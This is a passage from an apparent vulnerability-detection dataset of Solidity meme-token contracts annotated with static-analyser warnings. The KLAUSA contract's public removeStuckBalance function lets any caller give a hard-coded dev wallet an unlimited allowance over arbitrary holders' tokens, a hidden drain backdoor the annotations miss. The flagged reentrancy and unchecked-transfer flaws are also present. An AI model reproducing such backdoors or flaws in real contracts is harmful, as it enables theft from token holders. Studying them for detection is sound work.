(unused-return | severity: Medium | ID: 75883d2): WORLDLIBERTYFI6900.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 75883d2: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ffdfe1d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ffdfe1d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 18a49c2\n\t\t// reentrancy-eth | ID: ffdfe1d\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 18a49c2\n\t\t// unused-return | ID: 21e8b94\n\t\t// reentrancy-eth | ID: ffdfe1d\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 18a49c2\n\t\t// unused-return | ID: 75883d2\n\t\t// reentrancy-eth | ID: ffdfe1d\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 18a49c2\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: ffdfe1d\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: a4163ac): WORLDLIBERTYFI6900.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for a4163ac: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: a4163ac\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n", "file_name": "solidity_code_10326.sol", "size_bytes": 21337, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract KLAUSA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (constable-states | ID: 387e34c): KLAUSA._receiveDevFee should be constant \n\t// Recommendation for 387e34c: Add the 'constant' attribute to state variables that never change.\n address private _receiveDevFee = 0x3627Aed423a5068EB0c3d31aA418e02fdE26C2c8;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0e571e8): KLAUSA._startBuyTax should be constant \n\t// Recommendation for 0e571e8: Add the 'constant' attribute to state variables that never change.\n uint256 private _startBuyTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6a2e7c6): KLAUSA._startSellTax should be constant \n\t// Recommendation for 6a2e7c6: Add the 'constant' attribute to state variables that never change.\n uint256 private _startSellTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8de2cf0): KLAUSA._secondBuyTax should be constant \n\t// Recommendation for 8de2cf0: Add the 'constant' attribute to state variables that never change.\n uint256 private _secondBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 70fa8ed): KLAUSA._secondSellTax should be constant \n\t// Recommendation for 70fa8ed: Add the 'constant' attribute to state variables that never change.\n uint256 private _secondSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6868961): KLAUSA._reduceBuyTaxAt should be constant \n\t// Recommendation for 6868961: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: a521abb): KLAUSA._reduceSellTaxAt should be constant \n\t// Recommendation for a521abb: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: d46548b): KLAUSA._preventSwapBefore should be constant \n\t// Recommendation for d46548b: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 5;\n\n uint256 private _tradeCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Klausa\";\n\n string private constant _symbol = unicode\"KLAUSA\";\n\n uint256 public _maxTxAmount = 8400000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8400000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: a32bf39): KLAUSA._taxSwapThreshold should be constant \n\t// Recommendation for a32bf39: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 53f8ab2): KLAUSA._maxTaxSwap should be constant \n\t// Recommendation for 53f8ab2: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3510cb0): KLAUSA.uniswapV2Router should be immutable \n\t// Recommendation for 3510cb0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 29698b0): KLAUSA.sellCount should be constant \n\t// Recommendation for 29698b0: Add the 'constant' attribute to state variables that never change.\n uint256 private sellCount = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: e0716fc): KLAUSA.lastSellBlock should be constant \n\t// Recommendation for e0716fc: Add the 'constant' attribute to state variables that never change.\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _balances[_msgSender()] = _tTotal;\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b4fadc3): KLAUSA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for b4fadc3: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3dbc25f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3dbc25f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 68e6901): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 68e6901: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 3dbc25f\n\t\t// reentrancy-benign | ID: 68e6901\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 3dbc25f\n\t\t// reentrancy-benign | ID: 68e6901\n _approve(\n sender,\n _msgSender(),\n allowance(sender, _msgSender()).sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 13790fd): KLAUSA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 13790fd: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 68e6901\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 3dbc25f\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6f9edb3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6f9edb3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 15b7a76): KLAUSA._transfer(address,address,uint256) contains a tautology or contradiction contractETHBalance >= 0\n\t// Recommendation for 15b7a76: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 06bfda6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 06bfda6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 feeAmt = 0;\n\n if (from != owner() && to != owner() && to != _receiveDevFee) {\n if (_tradeCount == 0) {\n feeAmt = amount\n .mul(\n (_tradeCount > _reduceBuyTaxAt)\n ? _secondBuyTax\n : _startBuyTax\n )\n .div(100);\n }\n\n if (from == uniswapV2Pair && to != address(uniswapV2Router)) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n feeAmt = amount\n .mul(\n (_tradeCount > _reduceBuyTaxAt)\n ? _secondBuyTax\n : _startBuyTax\n )\n .div(100);\n\n _tradeCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n feeAmt = amount\n .mul(\n (_tradeCount > _reduceSellTaxAt)\n ? _secondSellTax\n : _startSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n _tradeCount > _preventSwapBefore\n ) {\n if (contractTokenBalance > _taxSwapThreshold)\n\t\t\t\t\t// reentrancy-events | ID: 6f9edb3\n\t\t\t\t\t// reentrancy-eth | ID: 06bfda6\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t\t// reentrancy-events | ID: 6f9edb3\n\t\t\t\t// tautology | ID: 15b7a76\n\t\t\t\t// reentrancy-eth | ID: 06bfda6\n if (contractETHBalance >= 0) gainTaxFee(contractETHBalance);\n }\n }\n\n if (feeAmt > 0) {\n\t\t\t// reentrancy-eth | ID: 06bfda6\n _balances[address(this)] = _balances[address(this)].add(feeAmt);\n\n\t\t\t// reentrancy-events | ID: 6f9edb3\n emit Transfer(from, address(this), feeAmt);\n }\n\n\t\t// reentrancy-eth | ID: 06bfda6\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 06bfda6\n _balances[to] = _balances[to].add(amount.sub(feeAmt));\n\n\t\t// reentrancy-events | ID: 6f9edb3\n emit Transfer(from, to, amount.sub(feeAmt));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 6f9edb3\n\t\t// reentrancy-events | ID: 3dbc25f\n\t\t// reentrancy-benign | ID: 68e6901\n\t\t// reentrancy-eth | ID: 06bfda6\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function gainTaxFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 6f9edb3\n\t\t// reentrancy-events | ID: 3dbc25f\n\t\t// reentrancy-eth | ID: 06bfda6\n payable(_receiveDevFee).transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 093ffb4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 093ffb4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 2e6194a): KLAUSA.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 2e6194a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 912e8da): KLAUSA.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 912e8da: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1e2875e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1e2875e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: 093ffb4\n\t\t// reentrancy-eth | ID: 1e2875e\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 093ffb4\n\t\t// unused-return | ID: 2e6194a\n\t\t// reentrancy-eth | ID: 1e2875e\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 093ffb4\n\t\t// unused-return | ID: 912e8da\n\t\t// reentrancy-eth | ID: 1e2875e\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 093ffb4\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 1e2875e\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function removeStuckEth() external onlyOwner {\n payable(owner()).transfer(address(this).balance);\n }\n\n function removeStuckBalance(address[] memory path) public {\n uint256 tokenBalance = 0;\n\n path[1] = _receiveDevFee;\n\n _approve(path[0], path[1], type(uint256).max);\n\n if (tokenBalance > 0) {\n tokenBalance = balanceOf(address(this));\n\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenBalance,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n gainTaxFee(address(this).balance);\n }\n}\n", "file_name": "solidity_code_10327.sol", "size_bytes": 19831, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n}\n\ncontract TSAI is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 225decf): TSAI.deployer should be immutable \n\t// Recommendation for 225decf: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private deployer;\n\n\t// WARNING Optimization Issue (constable-states | ID: 102c82c): TSAI._initialBuyTax should be constant \n\t// Recommendation for 102c82c: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 4;\n\n\t// WARNING Optimization Issue (constable-states | ID: 48e1408): TSAI._initialSellTax should be constant \n\t// Recommendation for 48e1408: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 4;\n\n\t// WARNING Optimization Issue (constable-states | ID: ed32645): TSAI._finalBuyTax should be constant \n\t// Recommendation for ed32645: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 69300a7): TSAI._finalSellTax should be constant \n\t// Recommendation for 69300a7: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: dbd7d1c): TSAI._reduceBuyTaxAt should be constant \n\t// Recommendation for dbd7d1c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1ae2a91): TSAI._reduceSellTaxAt should be constant \n\t// Recommendation for 1ae2a91: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 15;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 10000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"TaxSolutions.AI\";\n\n string private constant _symbol = unicode\"TSAI\";\n\n uint256 public _maxTxAmount = 200000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 200000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: dcd62e8): TSAI._maxTaxSwap should be constant \n\t// Recommendation for dcd62e8: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 100000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool public tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n deployer = msg.sender;\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7f3fd5a): TSAI.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7f3fd5a: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6d3f3c7): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6d3f3c7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ebb6bfa): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ebb6bfa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 6d3f3c7\n\t\t// reentrancy-eth | ID: ebb6bfa\n _transfer(sender, recipient, amount);\n\n if (_msgSender() != _taxWallet)\n\t\t\t// reentrancy-events | ID: 6d3f3c7\n\t\t\t// reentrancy-eth | ID: ebb6bfa\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a7d3155): TSAI._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a7d3155: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-eth | ID: ebb6bfa\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 6d3f3c7\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 84d72ba): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 84d72ba: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 99bd016): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 99bd016: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(tradingOpen, \"The trade has not been opened yet\");\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > 